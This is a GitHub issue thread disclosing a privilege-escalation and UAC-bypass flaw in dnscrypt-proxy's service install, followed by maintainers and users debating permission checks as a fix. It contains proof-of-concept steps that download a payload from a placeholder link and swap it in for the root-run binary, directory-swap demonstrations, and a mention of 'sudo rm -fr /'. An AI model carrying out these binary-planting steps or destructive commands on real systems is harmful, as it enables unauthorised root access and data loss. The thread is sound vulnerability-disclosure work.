DNSCrypt / dnscrypt-proxy

dnscrypt-proxy 2 - A flexible DNS proxy, with support for encrypted DNS protocols.
https://dnscrypt.info
ISC License
11.32k stars 1.01k forks source link

Unix privilege escalation vulnerability & Windows UAC bypass #2579

Closed go-compile closed 7 months ago

go-compile commented 7 months ago

What is affected by this bug?

System privileged escalation of a non-root user to a root user on unix based systems and a UAC bypass on Windows.

Privilege escalation vulnerability within the service install component in DNSCrypt's dnscrypt-proxy version 2.0.0alpha9 to 2.1.5 allows a local attacker to elevate his privileges to root by manipulating the service binary, caused by insecure file permissions.

When does this occur?

If dnscrypt-proxy has been installed as a service via ./dnscrypt-proxy -service install following the dnscrypt-proxy's installation guide (DNScrypt, 2022) a non root user can overwrite the binary dnscrypt-proxy with a malicious payload which will then be executed as root next time the dnscrypt-proxy service restarts (e.g. after reboot).

On windows the attack works the same, except the user gains LocalSystem privileges, bypassing UAC.

Where does it happen?

https://github.com/DNSCrypt/dnscrypt-proxy/blob/658835b4ff6c60d48349075a49441a0161e5b7f3/dnscrypt-proxy/main.go#L92

How do we replicate the issue?

Configure dnscrypt-proxy using DNScrypt (2022)'s linux install guide.

wget https://github.com/DNSCrypt/dnscrypt-proxy/releases/download/2.1.5/dnscrypt-proxy-linux_x86_64-2.1.5.tar.gz
tar -xvzf ./dnscrypt-proxy-linux_x86_64-2.1.5.tar.gz
cd linux-x86_64/
cp example-dnscrypt-proxy.toml dnscrypt-proxy.toml
sudo ./dnscrypt-proxy -service install
sudo ./dnscrypt-proxy -service start

Attacker terminal (no sudo)

# The attacker adds his malicious payload to the device
wget <insert link to payload bin>
chmod +x ./payload

# The attacker renames dnscrypt-proxy and replaces it with the newly downloaded malicious payload
mv dnscrypt-proxy dnscrypt-proxy.old
mv payload dnscrypt-proxy

Result

Next time the service restarts, it will not run dnscrypt-proxy but rather it will run the malicious payload with root. All the while the attacker never used sudo.

Expected behavior (i.e. solution)

Permission denied when attempting to manipulate the dnscrypt-proxy binary without sudo. Dnscrypt-proxy needs to set secure file permissions for the service binary to patch this vulnerability.

References

DNScrypt (2022). Installation linux wiki guide. [online] GitHub. Available at: https://github.com/DNSCrypt/dnscrypt-proxy/wiki/Installation-linux [Accessed 19 Feb. 2024].

jedisct1 commented 7 months ago

In order for the sudo ./dnscrypt-proxy -service install command to succeed, the user typing that command needs to have root access privileges already.

go-compile commented 7 months ago

The administrator who installs the app needs sudo. However, the attacker can exploit this without sudo, as detailed under "attacker terminal" header. The attacker would never be the one who installs dnscrypt-proxy in the first place, it was only provided to demonstrate if setup like this a attacker can then exploit it.

This is because when the administrator set up dnscrypt-proxy using the guide referenced it fails to set secure permissions and thus allows an attacker to later come and overwrite the file without the need of sudo.

jedisct1 commented 7 months ago

It's very unlikely that anyone would download files in a place, and with permissions that allow anyone to change them. Making that requires additional, intentional steps, such as chmod -R 777 .

But the guide is a wiki, feel free to improve it, as long as the steps remain simple and accessible.

go-compile commented 7 months ago

You would be surprised what users end up doing, especially if the guide tells them they can "download this file and extract it wherever you want. It can be in your home directory, in /opt/dnscrypt-proxy, or wherever you want, really.".

Second, this is also exploitable on Windows as a UAC bypass.

jedisct1 commented 7 months ago

The home directory is fine. This is how I've been installing dnscrypt-proxy forever. Default Unix permissions don't allow random users to overwrite other user's files. People may do chmod -R 777, but that's a user error that has nothing specific to dnscrypt-proxy.

I don't know anything about Windows, but I doubt a user can freely access and overwrite other users files either, unless they have been intentionally shared and made publicly writable.

This is a Wiki. Feel free to add that the directory containing the files should not be writable by other users, if there are any. Maybe along with simple commands to verify that this is not the case, and a link to a tutorial on Unix basics and something equivalent for Windows.

go-compile commented 7 months ago

I see the confusion here. A privilege escalation does not require the user to be different, but just that the effective permissions become elevated. If a user called ubuntu downloaded a file, ubuntu owns that file. If the user ubuntu then runs sudo ./dnscrypt-proxy -service install this introduces the vulnerability where the ubuntu user can now bypass sudo's password prompt, as it bypasses sudo.

The attacker (person or proccess) may only have access to the ubuntu user but does not have the ability to authenticate with sudo (not currently running as root or does not have the password to authenticate with sudo). But this exploit allows the attacker to no need to authenticate with sudo, hence it being a vulnerability.

It works very similar in Windows where sudo is replaced with UAC ("allow this program to make changes to your computer", yes/no or password prompt, depending on configuration).

Here is an article explaining a UAC bypass and how it works: https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies

Here is another regarding binary planting, this is the exact the attack this vuln report seeks to mitigate: https://github.com/OWASP/www-community/blob/21ee5b8f07a14f4b451542ff96f565be47b3bc98/pages/attacks/Binary_planting.md

This is a Wiki. Feel free to add that the directory containing the files should not be writable by other users, if there are any. Maybe along with simple commands to verify that this is not the case, and a link to a tutorial on Unix basics and something equivalent for Windows.

This could certainly help users, but acts more as a bandaid to the vulnerability. It would be better for the application to check and set it's permissions of it self and parent folder to properly fix this vuln on linux. The fix for Windows is a lot more complicated though.

Instead I could work on a patch for linux which does what I described above. Regarding patching it for windows I won't be able to do that other than recommend only allowing installation of a service via the msi, as the msi will setup the right permissions. These permissions cannot be easily setup just through Window's UI and command line (it is possible but very complicated and not as simple as updating the ACL and ownership data).

jedisct1 commented 7 months ago

But if a user has root access, they can create a file with the setuid bit anywhere on the system as well. Or add a root user, a cron task running as root or whatever. They don't need dnscrypt-proxy.

Checking that the executable is not publicly writeable and in a non-publicly writeable folder can be cool. But it's hard to make that safe against TOCTOU and it won't protect config and log files. It should probably emit warnings rather than change stuff and possibly break users' systems.

Rather than adding this to individual applications, the best place to introduce this would be kardianos/service.

But once again, I'm not convinced it is fixing any actual issue. If a user has root access, there are bazillion more reliable and less convoluted ways to keep that access.

go-compile commented 7 months ago

You are misunderstanding the attacker does not need root access. The attacker never runs a sudo command. The whole attack is that sudo is bypassed. Additionally, adding a cron task to run as root requires root in the first place.

I don't believe TOCTOU would be too much of an issue if it is checked at install time as changing the binary wouldn't be moved beyond that point and if it was it would break the service. Logs and config files aren't exploitable unless they reference a executable to be read or executed by the daemon (a read is only a problem if the program prints any contents i.e. a parsing error).

Regarding breakage of people's systems, you're right that is a concern so it may be best to prevent the installation of it as a service if the aforementioned check failed. A simple message "Cannot install as a service because your file permissions are insecure. Please adopt the binary's parent folder as property of root and recusirvley deny write operations by non-root users".

Regarding patching it within kardianos/service, the maintainer recognises the issue and recommends it to be managed by down stream applications, stating "I think it would be a mistake to automatically do this with the current API.", when asked about setting permissions and file locations.

Here are some more resources on binary planting vulnerabilities: https://securityaffairs.com/82425/hacking/binary-plating-0days-windows.html https://owasp.org/www-community/attacks/Binary_planting (specifically under this header: Insecure Access Permissions-based Attack) https://www.kiteworks.com/risk-compliance-glossary/living-off-the-land-attacks/

jedisct1 commented 7 months ago

Cannot install as a service because your file permissions are insecure. Please adopt the binary's parent folder as property of root and recusirvley deny write operations by non-root users

This is too opinionated, and would break common setups. For example, on OSX, Homebrew's Cellar is group-writable (by the admin group). The best we could do is check that parent directories are not publicly writable (by "others"). Still, that doesn't tell much. The file can be in a container, in a remount, in a jail or in a single-user system. So that should be bypassable, or else even a warning is going to raise complaints from users.

when asked about setting permissions and file locations

If you proposed to set permissions, of course it got rejected. kardianos/service is not expected to change permissions. However, checking that parents are not writable by others can be an option. The API already supports options.

go-compile commented 7 months ago

This issue certainly isn't completed, the vulnerability is still here and it's a rather serious one which needs resolving.

Regarding Homebrew, I'm not familiar with it, nor does it invalidate that as proven linux is vulnerability and Windows too.

If the file was in a container, typically the daemon is set as the entry point using the CMD param in Docker. As such, this patch wouldn't effect it at all as containers don't rely on systemd.

The best we could do is check that parent directories are not publicly writable (by "others").

This is what I proposed above. Although only the parent, not the parent's parents need to be checked. Additionally, the binary's permissions need checking too.

A middle ground could be prompting the user:

$> sudo ./dnscrypt-proxy -service install
Cannot install as a service because your file permissions are insecure.
Install anyway (y/n)$> n
$> sudo ./dnscrypt-proxy -service install -y
Cannot install as a service because your file permissions are insecure.
Installing anyway.
Service installed.

This should provide sufficient warning to users on all platforms of the vulnerability, yet still provides the freedom to ignore the warning, manually or automatically with -y.

jedisct1 commented 7 months ago

It is not a vulnerability in this software. It's something dumb that users could do : giving write permissions to files or directories to untrusted users. Just like the /usr/bin directory or your web browser databases shouldn't be modifiable by unwanted 3rd parties.

But if we can help educate users who somehow managed to unintentionally set permissive access to their files, even in a limited scope, why not. This is just informative and still assumes that they won't run a command after files have been replaced.

dnscrypt-proxy now prints a warning when the main configuration file or the executable could be write-accessible to other users, no matter what the command-line arguments are. That includes the files and their parent directories.

If you spot issues in the wiki, and want to improve it, you can do it directly.

jedisct1 commented 7 months ago

And maybe you should really revisit your PR (or whatever it was, I couldn't find it) to kardianos/service, just offering to add an option to return an error when the app to be installed would be replaceable by other users. And maybe a similar option for the working directory. That would benefit to all applications using it.

go-compile commented 7 months ago

I understand you have a different opinion and I completely understand why, but as a general rule if the default behavior introduces the vulnerability it is considered a issue with the program. At the very least it's the program's responsibility to protect users from insecure installation. But I think we both agree if we can mitigate (via a warning) the issue that's desirable.

Educating the user is a great idea and I'm glad you've implemented a patch. However, I just tested it by pulling master and running my POC again and the attack still works.

As you can see the owner is ubuntu not root. To patch this issue the owner must be root as that's the user who executes it via systemd. Allowing the attacker to become root from ubuntu.

ubuntu@pc:~/test$ ls -la
total 15956
drwxr-xr-x 1 ubuntu ubuntu     4096 Feb 20 12:49 .
drwxr-x--- 1 ubuntu ubuntu     4096 Feb 20 12:48 ..
-rwxr-xr-x 1 ubuntu ubuntu 16303671 Feb 20 12:45 dnscrypt-proxy
-rw-r--r-- 1 ubuntu ubuntu    29183 Feb 20 12:47 dnscrypt-proxy.toml
ubuntu@pc:~/test$ sudo ./dnscrypt-proxy -service install
[2024-02-20 12:49:19] [NOTICE] Installed as a service. Use `-service start` to start
ubuntu@pc:~/test$ mv ./dnscrypt-proxy ./dnscrypt-proxy.old

Linux patch; Check that:

  1. Binary perms = 0755
  2. Binary owner = root
  3. Binary parent folder = 0755
  4. Binary parent folder owner = root

Windows patch; Check that:

  1. Was installed by .msi via the file path or registry File permissions work drastically different in Windows which makes patching the issue trickier.

Regarding patching on Windows checking owners and write permissions via os.Stat isn't sufficient as Windows handles permissions very differently. The simplest solution is upon service install warn if the file was not installed by the .msi (By checking it's install folder or reg key). When using Wix is sets up all the correct file permissions, something which cannot easily be done with Go due to it's lacking Windows api bindings.

Regarding kardianos/service, I have spoken to the maintainer via email and he does not want to create breaking changes for down stream programs by changing how the API functions. A valid concern I'd say. Furthermore, he believes that the individual program maintainers are responsible mitigating the issue as a result. But I do agree it would be advantageous to patch it within the dependency it self, but of course this isn't viable without releasing a whole new version, which requires users to migrate.

jedisct1 commented 7 months ago

It can be counterintuitive, and maybe this is different on Windows, but having a file owned by root doesn't do much if parent directories are not. Unix can be surprising at first, but eventually, everything makes sense. Some filesystems have extended flags to change that behavior (ex: simmutable on macOS), but we shouldn't suggest people to do that. This is unreliable and people would quickly complain that they can't update their app or change configuration files.

Executable files, even system-wide executables, are not always owned by root nor have 755 permissions. This is at least not the case on Homebrew (nothing is owned by root, but by the user having installed Homebrew), and not the case on systems where a group is dedicated to software installs. So, the best we can do is check that "others" don't have write permissions, even though I'm still not convinced that it won't trigger false positives.

The current code checks the permissions every time the command is run. This is better than just once when a specific set of arguments is used (if it ever is).

Regarding kardianos/service, no API change is required to add options to simply check the permissions. The changes should be trivial. Try it and submit a proper PR, they would probably appreciate it!

go-compile commented 7 months ago

The parent directory must be owned by root, but that parent's parent does not.

Here is a example:

ubuntu@pc:~/permissions-test$ ls -la -R
.:
total 0
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 13:59 .
drwxr-x--- 1 ubuntu ubuntu 4096 Feb 20 13:59 ..
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 14:00 parent-of-parent

./parent-of-parent:
total 0
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 14:00 .
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 13:59 ..
drwxr-xr-x 1 root   root   4096 Feb 20 14:00 parent-of-binary

./parent-of-parent/parent-of-binary:
total 0
drwxr-xr-x 1 root   root   4096 Feb 20 14:00 .
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 14:00 ..
-rwxr-xr-x 1 root   root      2 Feb 20 14:00 binary
ubuntu@pc:~/permissions-test$ rm -rf ./parent-of-parent/
rm: cannot remove './parent-of-parent/parent-of-binary/binary': Permission denied
ubuntu@pc:~/permissions-test$ rm -rf ./parent-of-parent/parent-of-binary/
rm: cannot remove './parent-of-parent/parent-of-binary/binary': Permission denied
ubuntu@pc:~/permissions-test$ rm -rf ./parent-of-parent/parent-of-binary/binary
rm: cannot remove './parent-of-parent/parent-of-binary/binary': Permission denied
ubuntu@pc:~/permissions-test$

Regarding updates, root permission is usually required (and should be! if the program gets auto started as root) and thus won't be affected.

On the topic of Homebrew, I am not familiar with it, however, you're comparing apple to oranges here as Homebrew installs applications which are then executed by the user, not systemd as root. If homebrew installed a application which could be installed to systemd to execute as root and the file permissions allowed for binary planting than that would be a problem too, otherwise no.

This is better than just once when a specific set of arguments is used (if it ever is)

It's only vulnerable when the command is used so it's only relevant to check here, if the program is never installed then it's not vulnerable and can have any file permissions the owner wishes. Although if you wish to check at continually I see no negative side effects in doing so.

Regarding kardianos/service, no API change is required to add options to simply check the permissions. The changes should be trivial. Try it and submit a proper PR, they would probably appreciate it!

I may look into that.

welwood08 commented 7 months ago

The parent directory must be owned by root, but that parent's parent does not.

Binary planting is still possible if the attacker can write to any part of the binary's directory tree:

ubuntu@pc:~/permissions-test$ ls -alR
.:
total 0
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 .
drwx------ 1 ubuntu ubuntu 4096 Feb 20 16:00 ..
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 parent-of-parent
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 parent-of-parent.fake

./parent-of-parent:
total 0
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 .
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 ..
drwxr-xr-x 1 root   root   4096 Feb 20 16:00 parent-of-binary

./parent-of-parent/parent-of-binary:
total 0
drwxr-xr-x 1 root   root   4096 Feb 20 16:00 .
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 ..
-rwxr-xr-x 1 root   root     22 Feb 20 16:00 binary

./parent-of-parent.fake:
total 0
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 .
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 ..
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 parent-of-binary

./parent-of-parent.fake/parent-of-binary:
total 0
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 .
drwxr-xr-x 1 ubuntu ubuntu 4096 Feb 20 16:00 ..
-rwxr-xr-x 1 ubuntu ubuntu   22 Feb 20 16:00 binary
ubuntu@pc:~/permissions-test$ parent-of-parent/parent-of-binary/binary
real
ubuntu@pc:~/permissions-test$ mv parent-of-parent parent-of-parent.real
ubuntu@pc:~/permissions-test$ mv parent-of-parent.fake parent-of-parent
ubuntu@pc:~/permissions-test$ parent-of-parent/parent-of-binary/binary
FAKE
ubuntu@pc:~/permissions-test$

Regarding updates, root permission is usually required (and should be! if the program gets auto started as root) and thus won't be affected.

I agree that root should be required to perform an update. However, I am opinionated and run the service as non-root under a dedicated restricted user account with root owning the binary (and tree) - I don't want to break common setups by enforcing all that complexity. The common setup seems to be non-root admin user owns the binary and can write to it whenever they want, which is the original scenario reported that is still vulnerable to binary planting if an attacker ever gains access to that account.

Checking that other users can't write to the binary's tree is a good start, but is not a solution if the owner's account can be compromised in the future. Perhaps a warning during service install if the binary's owner does not match the service user would educate users of the vulnerability whilst still allowing the common (insecure) setup of rootless updates?

go-compile commented 7 months ago

Binary planting is still possible if the attacker can write to any part of the binary's directory tree:

Yes you're right, I didn't consider that. Thanks for letting me know.

Perhaps a warning during service install if the binary's owner does not match the service user would educate users of the vulnerability whilst still allowing the common (insecure) setup of rootless updates?

Yes this would be fine with the added checks of the parent's folders upto / and ready only. Prompting the user to acknowledge the risks and proceed would likely be the most user friendly option. And a option for automated installs like -y or -acknowledge-risks.

If you want, I can submit a PR to implement this and then test it?

jedisct1 commented 7 months ago

Ever since the project exists, we've been trying very hard to never break backwards compatibility. Adding a prompt would break that, and break auto-update scripts.

They would already see the message every time they run the dnscrypt-proxy command, including in log files, this is annoying enough to be noticed.

I also don't think service install should be treated differently than when the command is run with other arguments. People may not even use service install ever, yet use the command.

If a user's file can be overwritten by untrusted users, they're already at risk, no matter if and how that file is read, used or executed. The content of dnscrypt-proxy can be replaced with sudo rm -fr /, a malicious version that doesn't warn nor prompts, or something that exfiltrates crypto wallets. Config files can be modified to return malicious IP addresses.

So, the point of these checks is to make the user notices that they messed up access rights before something happens, which can happen at any point in time. Blocking them just when they type one specific command that they may never type, or type when files have already been modified, wouldn't be super effective. If we add a feature, even if it's slightly out of scope like that one, it should be done seriously.

If you're familiar with Go and Windows, and could contribute something equivalent to what's currently done, but for Windows, that would be great. Maybe do it in kardianos/service first, so once your PR is merged there, we can simply leverage it rather than have code duplication.

go-compile commented 7 months ago

If a user's file can be overwritten by untrusted users, they're already at risk

At risk of privileged escalation only if installed as a service*

If we add a feature, even if it's slightly out of scope like that one, it should be done seriously.

The most robust and non-breaking method would be to validate the install upon service install and service start (Checking file permissions). Additionally, every time the CLI is ran it should check if it's installed as a service, and if true it should check permissions and warn the user if it's done insecurely. You could even add a config option to hide this warning if you wanted.

Even better would be on install move the bin to /usr/bin or /opt/dnsproxy-crypt as to ensure: consistency, security and provide a new feature of adding the bin to the path. Do the same on windows but to /Program Files/DNSCrypt/ instead.

As you want to patch this seriously, blocking the daemon from running if insecure would be most appropriate.

Patching this seriously will require the changing of how the binary is installed and thus potentially introducing some changes for users upon updating. But users have to update to patch this vuln anyway, its unavoidable.

lifenjoiner commented 7 months ago
  1. I don't run it as a service.
  2. The first place Privilege Elevation is when an app is set to be run as a service but without corresponding permission sets. All following patches are less useful.
  3. The OS should require the executables (files, strictly) of a service to have all the corresponding permission sets. Why they don't?
  4. Sometimes, people choose simplicity over security. On Windows:
    • The secure strategy is landing and installing privileged programs using an Admin account; while logging in a limited account for daily use.
    • Many people still prefer one and only one account as Admin.
    • Many people even disable the UAC prompt to get rid of the annoyance.

Related: When you logged in your account and then give it to others to use, you have chosen trust ;p

go-compile commented 7 months ago

I don't run it as a service.

If that's what you wish to do to patch the vulnerability that is your prerogative.

The first place Privilege Elevation is when an app is set to be run as a service but without corresponding permission sets. All following patches are less useful.

I agree, dnscrypt-proxy should set the right permissions and have that as the patch, rather than a just warning. As you say anything other than setting the right permissions is useful.

The OS should require the executables (files, strictly) of a service to have all the corresponding permission sets. Why they don't?

The OS doesn't require this. All it wants is a path to a executable.

Sometimes, people choose simplicity over security.

They do, and these types of people should be protected from inadvertently introducing a vulnerability. If the user wants simplicity the program should set all the permissions for the user.

alterstep commented 7 months ago

Hello,

How I always use it. I start it when I need it : sudo dnscrypt-proxy -> it's sudo who must babysit?

And if I start a root shell first -> shells must babysit?

I don't want babysit.

go-compile commented 7 months ago

@alterstep this vulnerability only impacts dnscrypt-proxy if it is installed as a service. Ideally I wouldn't want a patch to effect your above mentioned use case.

@jedisct1 what are we going to do to patch this? The recent commits you added doesn't seem to resolve the issue, last time I tested it. I also suggest reopening the issue until we can confirm it is fully fixed.